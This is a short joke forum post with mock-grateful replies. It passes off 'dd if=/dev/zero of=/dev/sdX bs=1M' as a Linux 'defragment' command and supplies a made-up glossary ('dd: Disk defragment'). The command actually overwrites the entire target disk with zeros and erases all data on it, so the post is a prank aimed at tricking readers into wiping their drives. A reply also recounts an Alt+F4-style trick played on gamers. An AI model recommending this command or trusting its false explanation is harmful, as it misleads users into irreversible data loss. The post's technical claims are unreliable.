Remember to regularly defragment your drives on linux. use this handy command.

dd if=/dev/zero of=/dev/sdX bs=1M

Terminology:
dd: Disk defragment
if: input file (the pattern to search for, and should always be /dev/zero)
of: output file (your disk, /dev/sda for instance)
bs: blocsize 1M is fine here

    @guitargirl15 downloading StarCraft maps in the lobby we'd tell the slow player holding everything up to hold alt and type quickerx3

    Always got us into the game!

    I ran it and now my computer boots into something caller "Arch linux" everything is 100% better and all my data and packages run like a charm!

    Thank you, kind stranger! I never knew I should be defragmenting my SSD too, I'll start doing this regularly :)
